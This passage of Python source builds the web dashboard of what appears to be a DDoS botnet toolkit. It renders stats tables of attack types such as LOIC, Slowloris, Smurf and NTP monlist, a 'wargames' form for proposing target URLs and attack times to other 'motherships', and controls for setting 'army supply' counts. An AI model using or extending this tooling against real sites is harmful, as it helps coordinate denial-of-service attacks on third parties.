  1111. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1112. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1113. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  1114. try:
  1115. grid_id = m[10] # id (plain id)
  1116. except:
  1117. grid_id = "invalid!"
  1118. else: # no valid version
  1119. pass
  1120. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  1121. else: # not valid stream data
  1122. pass
  1123. grid_table += "</table>"
  1124. if mothership_members == 0:
  1125. mothership_members = "¿?"
  1126. if unknown_members == 0:
  1127. unknown_members = "¿?"
  1128. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  1129. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr><tr><td>FRAGGLE:</td><td>¿?</td><td>SNIPER:</td><td>¿?</td><td>UFOACK:</td><td>¿?</td><td>UFORST:</td><td>¿?</td></tr><tr><td>DROPER:</td><td>¿?</td><td>OVERLAP:</td><td>¿?</td><td>PINGER:</td><td>¿?</td><td>UFOUDP:</td><td>¿?</td></tr></table><br><hr><br>"
  1130. grid_table = mother_grid + grid_table + "</div>"
  1131. return grid_table
  1132. def html_grid(self):
  1133. if self.ranking == "Rookie": # Rookie
  1134. your_ranking = "<font color='white'>Rookie [*]</font>"
  1135. elif self.ranking == "Mercenary": # Mercenary
  1136. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  1137. elif self.ranking == "Bandit": # Bandit
  1138. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  1139. elif self.ranking == "UFOmmander!": # UFOmmander!
  1140. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  1141. elif self.ranking == "UFOl33t!": # UFOl33t!
  1142. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  1143. else:
  1144. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  1145. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  1146. device_state = "OFF"
  1147. device = "GRID device: <font color='red'>OFF</font><br>"
  1148. else:
  1149. device_state = "ON"
  1150. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  1151. data = json.load(gridcfg_json_file)
  1152. gridcfg_json_file.close()
  1153. grid_token = data["grid_token"]
  1154. grid_contact = data["grid_contact"]
  1155. grid_contact.encode('utf-8')
  1156. grid_nick = data["grid_nick"]
  1157. grid_nick.encode('utf-8')
  1158. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  1159. if device_state == "OFF":
  1160. grid_panel = ""
  1161. else:
  1162. grid_table = self.generate_grid()
  1163. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  1164. if device_state == "OFF":
  1165. dec_panel = ""
  1166. else:
  1167. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  1168. if device_state == "OFF":
  1169. sync_panel = ""
  1170. else:
  1171. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  1172. if device_state == "OFF":
  1173. transfer_panel = ""
  1174. else:
  1175. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  1176. if device_state == "OFF":
  1177. remove_grid = ""
  1178. else:
  1179. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  1180. return self.pages["/header"] + """<script language="javascript">
  1181. function GridProfile() {
  1182. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1183. }
  1184. function RemoveGrid() {
  1185. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1186. }
  1187. function Stats() {
  1188. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1189. }
  1190. function Sync_panel(){
  1191. document.getElementById("sync_panel_block").style.display = "block";
  1192. document.getElementById("dec_panel").style.display = "none";
  1193. document.getElementById("transfer_panel").style.display = "none";
  1194. }
  1195. function SyncGrid(){
  1196. grid_source=document.getElementById("grid_source").value
  1197. if(grid_source == "") {
  1198. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1199. return
  1200. }else{
  1201. params="grid_source="+escape(grid_source)
  1202. runCommandX("cmd_sync_grid",params)
  1203. setTimeout("location.reload()", 10000)
  1204. }
  1205. }
  1206. function Transfer_panel(){
  1207. document.getElementById("transfer_panel").style.display = "block";
  1208. document.getElementById("sync_panel_block").style.display = "none";
  1209. document.getElementById("dec_panel").style.display = "none";
  1210. }
  1211. function TransferGrid() {
  1212. grid_source=document.getElementById("grid_source_upload").value
  1213. grid_key=document.getElementById("grid_key_upload").value
  1214. if(grid_source == "") {
  1215. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1216. return
  1217. }else{
  1218. if(grid_key == "") {
  1219. window.alert("You need to enter a valid key (provided by someone)");
  1220. return
  1221. }else{
  1222. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1223. runCommandX("cmd_transfer_grid",params)
  1224. setTimeout("location.reload()", 10000)
  1225. }
  1226. }
  1227. }
  1228. function Decryption_panel(){
  1229. document.getElementById("dec_panel").style.display = "block";
  1230. document.getElementById("transfer_panel").style.display = "none";
  1231. document.getElementById("sync_panel_block").style.display = "none";
  1232. }
  1233. function Decrypt_grid(){
  1234. grid_key=document.getElementById("grid_key").value
  1235. if(grid_key == "") {
  1236. window.alert("You need to enter a valid key (provided by someone)");
  1237. return
  1238. }else{
  1239. params="grid_key="+escape(grid_key)
  1240. runCommandX("cmd_decrypt_grid",params)
  1241. panel_enc = document.getElementById("grid_panel_enc").style.display
  1242. if(panel_enc == "block"){
  1243. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1244. }
  1245. }
  1246. }
  1247. function GridFilter(filter, key){
  1248. params="filter="+escape(filter)+"&key="+escape(key)
  1249. runCommandX("cmd_grid_filter", params)
  1250. setTimeout("Decrypt_grid()", 2000)
  1251. }
  1252. </script>
  1253. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1254. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1255. <br><center>
  1256. <table cellpadding="5" cellspacing="5"><tr>
  1257. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid!. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1258. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1259. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1260. """ + self.pages["/footer"]
  1261. def generate_wargames(self):
  1262. with open(self.wargames_file) as f:
  1263. for line in f:
  1264. line = line.strip()
  1265. f.close()
  1266. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1267. for m in self.list_wargames: # list = creation, target, estimated
  1268. if wargames_msg_sep in m:
  1269. m = m.split(wargames_msg_sep)
  1270. wargame_creation = m[0][0:12] # creation date
  1271. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1272. wargame_target = m[1][0:12] # target (obfuscation)
  1273. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1274. wargame_estimated = m[2][0:12] # estimated date
  1275. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1276. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1277. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1278. wargame_status = wargame_state # status (obfuscated like state)
  1279. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1280. wargames_table += "</table>"
  1281. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1282. wargames_table = mother_wargame + wargames_table + "</div>"
  1283. return wargames_table
  1284. def html_wargames(self):
  1285. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1286. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1287. wargames_table = self.generate_wargames()
  1288. return self.pages["/header"] + """<script language="javascript">
  1289. function Decrypt_wargames(){
  1290. wargames_deckey=document.getElementById("wargames_deckey").value
  1291. if(wargames_deckey == "") {
  1292. window.alert("You need to enter a valid key (provided by someone)");
  1293. return
  1294. }else{
  1295. params="wargames_deckey="+escape(wargames_deckey)
  1296. runCommandX("cmd_decrypt_wargames",params)
  1297. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1298. if(panel_enc == "block"){
  1299. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1300. }
  1301. }
  1302. }
  1303. function SyncWargames(){
  1304. wargames_source=document.getElementById("wargames_source").value
  1305. if(wargames_source == "") {
  1306. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1307. return
  1308. }else{
  1309. params="wargames_source="+escape(wargames_source)
  1310. runCommandX("cmd_sync_wargames",params)
  1311. setTimeout("location.reload()", 10000)
  1312. }
  1313. }
  1314. function Send() {
  1315. wargames_source2=document.getElementById("wargames_source2").value
  1316. wargames_enckey=document.getElementById("wargames_enckey").value
  1317. wargames_target=document.getElementById("wargames_target").value
  1318. wargames_estimated=document.getElementById("wargames_estimated").value
  1319. if(wargames_source2 == "") {
  1320. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1321. return
  1322. }else{
  1323. if(wargames_enckey == "") {
  1324. window.alert("You need to enter a valid key (provided by someone)");
  1325. return
  1326. }else{
  1327. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1328. runCommandX("cmd_transfer_wargame",params)
  1329. setTimeout("location.reload()", 10000)
  1330. }
  1331. }
  1332. }
  1333. function JobRemove(id) {
  1334. params="id="+escape(id)
  1335. runCommandX("cmd_job_remove",params)
  1336. setTimeout("Decrypt_wargames()", 2000)
  1337. }
  1338. function JobAdd(id) {
  1339. params="id="+escape(id)
  1340. runCommandX("cmd_job_add", params)
  1341. setTimeout("Decrypt_wargames()", 2000)
  1342. }
  1343. function JobAddAll() {
  1344. runCommandX("cmd_job_add_all")
  1345. setTimeout("Decrypt_wargames()", 2000)
  1346. }
  1347. function JobCancel(id) {
  1348. params="id="+escape(id)
  1349. runCommandX("cmd_job_cancel", params)
  1350. setTimeout("Decrypt_wargames()", 2000)
  1351. }
  1352. function JobRemoveAll(key) {
  1353. params="key="+escape(key)
  1354. runCommandX("cmd_job_remove_all", params)
  1355. setTimeout("Decrypt_wargames()", 2000)
  1356. }
  1357. function JobCancelAll() {
  1358. runCommandX("cmd_job_cancel_all")
  1359. setTimeout("Decrypt_wargames()", 2000)
  1360. }
  1361. function JobFilter(filter, key) {
  1362. params="filter="+escape(filter)+"&key="+escape(key)
  1363. runCommandX("cmd_job_filter", params)
  1364. setTimeout("Decrypt_wargames()", 2000)
  1365. }
  1366. function EditSupply(){
  1367. if(document.getElementById("supply_edit").value == "EDIT"){
  1368. document.getElementById("supply_botnet").readOnly = false;
  1369. document.getElementById("supply_loic").readOnly = false;
  1370. document.getElementById("supply_loris").readOnly = false;
  1371. document.getElementById("supply_ufosyn").readOnly = false;
  1372. document.getElementById("supply_spray").readOnly = false;
  1373. document.getElementById("supply_smurf").readOnly = false;
  1374. document.getElementById("supply_xmas").readOnly = false;
  1375. document.getElementById("supply_nuke").readOnly = false;
  1376. document.getElementById("supply_tachyon").readOnly = false;
  1377. document.getElementById("supply_monlist").readOnly = false;
  1378. document.getElementById("supply_fraggle").readOnly = false;
  1379. document.getElementById("supply_sniper").readOnly = false;
  1380. document.getElementById("supply_ufoack").readOnly = false;
  1381. document.getElementById("supply_uforst").readOnly = false;
  1382. document.getElementById("supply_droper").readOnly = false;
  1383. document.getElementById("supply_overlap").readOnly = false;
  1384. document.getElementById("supply_pinger").readOnly = false;
  1385. document.getElementById("supply_ufoudp").readOnly = false;
  1386. document.getElementById("supply_edit").title = "Set global army supply..."
  1387. document.getElementById("supply_edit").value = "SET"
  1388. document.getElementById("supply_edit").innerHTML = "SET!"
  1389. }else{
  1390. supply_botnet=document.getElementById("supply_botnet").value
  1391. supply_loic=document.getElementById("supply_loic").value
  1392. supply_loris=document.getElementById("supply_loris").value
  1393. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1394. supply_spray=document.getElementById("supply_spray").value
  1395. supply_smurf=document.getElementById("supply_smurf").value
  1396. supply_xmas=document.getElementById("supply_xmas").value
  1397. supply_nuke=document.getElementById("supply_nuke").value
  1398. supply_tachyon=document.getElementById("supply_tachyon").value
  1399. supply_monlist=document.getElementById("supply_monlist").value
  1400. supply_fraggle=document.getElementById("supply_fraggle").value
  1401. supply_sniper=document.getElementById("supply_sniper").value
  1402. supply_ufoack=document.getElementById("supply_ufoack").value
  1403. supply_uforst=document.getElementById("supply_uforst").value
  1404. supply_droper=document.getElementById("supply_droper").value
  1405. supply_overlap=document.getElementById("supply_overlap").value
  1406. supply_pinger=document.getElementById("supply_pinger").value
  1407. supply_ufoudp=document.getElementById("supply_ufoudp").value
  1408. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1409. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1410. return
  1411. }else{
  1412. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1413. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1414. return
  1415. }else{
  1416. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1417. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1418. return
  1419. }else{
  1420. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1421. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1422. return
  1423. }else{
  1424. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1425. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1426. return
  1427. }else{
  1428. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1429. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1430. return
  1431. }else{
  1432. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1433. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1434. return
  1435. }else{
  1436. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1437. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1438. return
  1439. }else{
  1440. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1441. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1442. return
  1443. }else{
  1444. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1445. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1446. return
  1447. }else{
  1448. if(isNaN(parseFloat(supply_fraggle)) || parseFloat(supply_fraggle) < 0) {
  1449. window.alert("You need to enter a valid FRAGGLE supply number (int>=0)");
  1450. return
  1451. }else{
  1452. if(isNaN(parseFloat(supply_sniper)) || parseFloat(supply_sniper) < 0) {
  1453. window.alert("You need to enter a valid SNIPER supply number (int>=0)");
  1454. return
  1455. }else{
  1456. if(isNaN(parseFloat(supply_ufoack)) || parseFloat(supply_ufoack) < 0) {
  1457. window.alert("You need to enter a valid UFOACK supply number (int>=0)");
  1458. return
  1459. }else{
  1460. if(isNaN(parseFloat(supply_uforst)) || parseFloat(supply_uforst) < 0) {
  1461. window.alert("You need to enter a valid UFORST supply number (int>=0)");
  1462. return
  1463. }else{
  1464. if(isNaN(parseFloat(supply_droper)) || parseFloat(supply_droper) < 0) {
  1465. window.alert("You need to enter a valid DROPER supply number (int>=0)");
  1466. return
  1467. }else{
  1468. if(isNaN(parseFloat(supply_overlap)) || parseFloat(supply_overlap) < 0) {
  1469. window.alert("You need to enter a valid OVERLAP supply number (int>=0)");
  1470. return
  1471. }else{
  1472. if(isNaN(parseFloat(supply_pinger)) || parseFloat(supply_pinger) < 0) {
  1473. window.alert("You need to enter a valid PINGER supply number (int>=0)");
  1474. return
  1475. }else{
  1476. if(isNaN(parseFloat(supply_ufoudp)) || parseFloat(supply_ufoudp) < 0) {
  1477. window.alert("You need to enter a valid UFOUDP supply number (int>=0)");
  1478. return
  1479. }else{
  1480. document.getElementById("supply_botnet").readOnly = true;
  1481. document.getElementById("supply_loic").readOnly = true;
  1482. document.getElementById("supply_loris").readOnly = true;
  1483. document.getElementById("supply_ufosyn").readOnly = true;
  1484. document.getElementById("supply_spray").readOnly = true;
  1485. document.getElementById("supply_smurf").readOnly = true;
  1486. document.getElementById("supply_xmas").readOnly = true;
  1487. document.getElementById("supply_nuke").readOnly = true;
  1488. document.getElementById("supply_tachyon").readOnly = true;
  1489. document.getElementById("supply_monlist").readOnly = true;
  1490. document.getElementById("supply_fraggle").readOnly = true;
  1491. document.getElementById("supply_sniper").readOnly = true;
  1492. document.getElementById("supply_ufoack").readOnly = true;
  1493. document.getElementById("supply_uforst").readOnly = true;
  1494. document.getElementById("supply_droper").readOnly = true;
  1495. document.getElementById("supply_overlap").readOnly = true;
  1496. document.getElementById("supply_pinger").readOnly = true;
  1497. document.getElementById("supply_ufoudp").readOnly = true;
  1498. document.getElementById("supply_edit").title = "Edit global army supply..."
  1499. document.getElementById("supply_edit").value = "EDIT"
  1500. document.getElementById("supply_edit").innerHTML = "EDIT"
  1501. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)+"&fraggle="+escape(supply_fraggle)+"&sniper="+escape(supply_sniper)+"&ufoack="+escape(supply_ufoack)+"&uforst="+escape(supply_uforst)+"&droper="+escape(supply_droper)+"&overlap="+escape(supply_overlap)+"&pinger="+escape(supply_pinger)+"&ufoudp="+escape(supply_ufoudp)
  1502. runCommandX("cmd_edit_supply",params)
  1503. setTimeout("Decrypt_wargames()", 2000)
  1504. }
  1505. }
  1506. }
  1507. }
  1508. }
  1509. }
  1510. }
  1511. }
  1512. }
  1513. }
  1514. }
  1515. }
  1516. }
  1517. }
  1518. }
  1519. }
  1520. }
  1521. }
  1522. }
  1523. }
  1524. </script>
  1525. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1526. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1527. <br>
  1528. <center>
  1529. <table cellpadding="5" cellspacing="5"><tr>
  1530. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1531. <td>
  1532. <pre>This feature will allow you to propose/join some real 'wargames'.
  1533. <hr>
  1534. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1535. <hr><br>
  1536. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1537. def generate_links(self):
  1538. with open(self.links_file) as f:
  1539. for line in f:
  1540. line = line.strip()
  1541. f.close()
  1542. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>URL:</u></td></tr>"
  1543. for m in self.list_links: # list = creation, topic, url
  1544. if links_msg_sep in m:
  1545. m = m.split(links_msg_sep)
  1546. link_creation = m[0][0:12] # creation date
  1547. link_creation = ''.join(random.sample(link_creation,len(link_creation))) # creation date (obfuscation)
  1548. link_topic = m[1][0:12] # topic
  1549. link_topic = ''.join(random.sample(link_topic,len(link_topic))) # topic (obfuscation)
  1550. link_url = m[2][0:12] # url
  1551. link_url = ''.join(random.sample(link_url,len(link_url))) # link url (obfuscation)
  1552. links_table += "<tr><td align='center'>"+str(link_creation)+"</td><td align='center'>"+str(link_topic)+"</td><td align='center'>"+str(link_url)+"</td></tr>"
  1553. links_table += "</table>"
  1554. mother_link = "<div id='links_panel_enc' style='display:block'>"
  1555. links_table = mother_link + links_table + "</div>"
  1556. return links_table
  1557. def generate_streams(self):
  1558. with open(self.streams_file) as f:
  1559. for line in f:
  1560. line = line.strip()
  1561. f.close()
  1562. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>STREAM:</u></td></tr>"
  1563. for m in self.list_streams: # list = creation, topic, stream
  1564. if streams_msg_sep in m:
  1565. m = m.split(streams_msg_sep)
  1566. stream_creation = m[0][0:12] # creation date
  1567. strean_creation = ''.join(random.sample(stream_creation,len(stream_creation))) # creation date (obfuscation)
  1568. stream_topic = m[1][0:12] # topic
  1569. stream_topic = ''.join(random.sample(stream_topic,len(stream_topic))) # topic (obfuscation)
  1570. stream_url = m[2][0:12] # url
  1571. stream_url = ''.join(random.sample(stream_url,len(stream_url))) # stream url (obfuscation)
  1572. streams_table += "<tr><td align='center'>"+str(stream_creation)+"</td><td align='center'>"+str(stream_topic)+"</td><td align='center'>"+str(stream_url)+"</td></tr>"
  1573. streams_table += "</table>"
  1574. mother_stream = "<div id='streams_panel_enc' style='display:block'>"
  1575. streams_table = mother_stream + streams_table + "</div>"
  1576. return streams_table
  1577. def generate_games(self):
  1578. games_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NAME:</u></td><td align='center'><u>DESCRIPTION:</u></td><td><u>ACTION:</u></td></tr>"
  1579. with open(self.games_file) as f:
  1580. for line in f:
  1581. line = line.strip()
  1582. if games_msg_sep in line:
  1583. line = line.split(games_msg_sep)
  1584. game_name = line[0] # name
  1585. game_description = line[1] # description
  1586. games_table += "<tr><td align='center'><a onClick='javascript:PlayGame()'>"+str(game_name)+"</a></td><td align='center'>"+str(game_description)+"</td><td align='center'><button id='play_game' onclick='PlayGame();return false;'>PLAY!</button></td></tr>"
  1587. games_table += "</table>"
  1588. f.close()
  1589. mother_games = "<div id='games_panel_enc' style='display:block'>"
  1590. games_table = mother_games + games_table + "</div>"
  1591. return games_table
  1592. def generate_browser(self):
  1593. browser_table = "<iframe width='90%' height='600px' src='"+browser_init_page+"'></frame>"
  1594. return browser_table
  1595. def generate_globalnet(self):
  1596. with open(self.globalnet_file) as f:
  1597. for line in f:
  1598. line = line.strip()
  1599. f.close()
